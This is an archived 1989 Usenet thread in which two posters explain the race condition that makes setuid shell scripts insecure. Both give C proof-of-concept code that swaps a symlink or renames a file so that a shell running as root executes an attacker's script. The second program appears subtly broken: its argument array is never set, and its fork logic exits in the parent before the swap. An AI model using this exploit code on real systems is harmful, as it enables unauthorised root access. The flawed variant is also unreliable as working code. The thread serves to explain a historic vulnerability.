chris@mimsy.umd.edu (Chris Torek) (10/24/89)
In article <21256@adm.BRL.MIL> danl@midget.towson.edu writes: >Ok Chris, so I could be wrong (it certainly wouldn't be the first time), >but please explain why. How are they not secure (with proper planning)? >And how are they any more secure if they are first run from a C program >which exec's the shell? I suppose there is no particular reason not to let this Abynissian out of the carry-sack. Here is the trick: Given a setuid script---perhaps `/etc/backup', which makes a backup of your disks---that is run by a shell (any of sh, csh, ksh, bash, . . .) and the ability to make a link or symbolic link to the file, the bad guy can write a program like this one: main() { switch (fork()) { case -1: perror("fork"); /* darn */ exit(1); /*NOTREACHED*/ case 0: nice(20); /* run slowly */ execl("/tmp/mylink", "/tmp/mylink", (char *)0); perror("execl(/tmp/mylink)"); /* never happens? */ _exit(1); /*NOTREACHED*/ } /* parent */ delay(); /* give child time to execl() but no more */ rename("/tmp/evilscript", "/tmp/mylink"); /* and hope we beat the shell */ exit(0); } The desired (by Mr. Bad Guy) sequence of events is: 0) The kernel is asked to exec /tmp/mylink. 1) The kernel does a namei("/tmp/mylink") and comes up with the inode for /etc/backup. This inode says `setuid root' (so we become root) and has first line `#! /bin/sh'. The kernel iput()s the inode for /etc/backup, does a namei("/bin/sh"), and comes up with an inode for /bin/sh. This is a normal executable, so it starts /bin/sh with argv[1] being "/tmp/mylink"---the name of the script to be run. 2) /bin/sh begins, but (due to low scheduling priority) is suspended while badguy's main() is rescheduled and continued. 3) main() does a rename("/tmp/evilscript", "/tmp/mylink"). The kernel checks /tmp, determines that it is OK to remove /tmp/mylink, does so, renames evilscript as mylink, and returns. 4) main() exits, and /bin/sh resumes. 5) /bin/sh (still running setuid) opens /tmp/mylink and reads and executes it, as root. Unfortunately, in step 5, sh is reading the contents of /tmp/evilscript rather than /etc/backup. -- `They were supposed to be green.' In-Real-Life: Chris Torek, Univ of MD Comp Sci Dept (+1 301 454 7163) Domain: chris@cs.umd.edu Path: uunet!mimsy!chris
mitch@hq.af.mil (Mitchell..Wright) (10/25/89)
In article <20368@mimsy.umd.edu> chris@mimsy.umd.edu (Chris Torek) writes: >I suppose there is no particular reason not to let this Abynissian >out of the carry-sack. Here is the trick: > > main() > ... > I think that the timing problem can also be solved by: #include <stdio.h> #include <sys/wait.h> /* * Symbolic link runner * * Please kids - don't try this at home * */ main(argc, argv, envp) int argc; char **argv, **envp; { char *narg[2]; int pid; if (argc != 3) { fprintf(stderr, "Usage: symlink <good> <bad>\n"); exit(1); } if (symlink(argv[1], "foo")) { fprintf(stderr, "symlink bombed <sniff sniff> \n"); exit(2); } if (0 == (pid=vfork())) execve("foo", narg, envp); else { fprintf(stderr, "Fork failed \n"); exit(3); } /* * Now we can be Mr. Bad Guy * */ unlink("foo"); symlink (argv[2], "foo"); wait((union wait *)NULL); unlink("foo"); exit(0); } -- ..mitch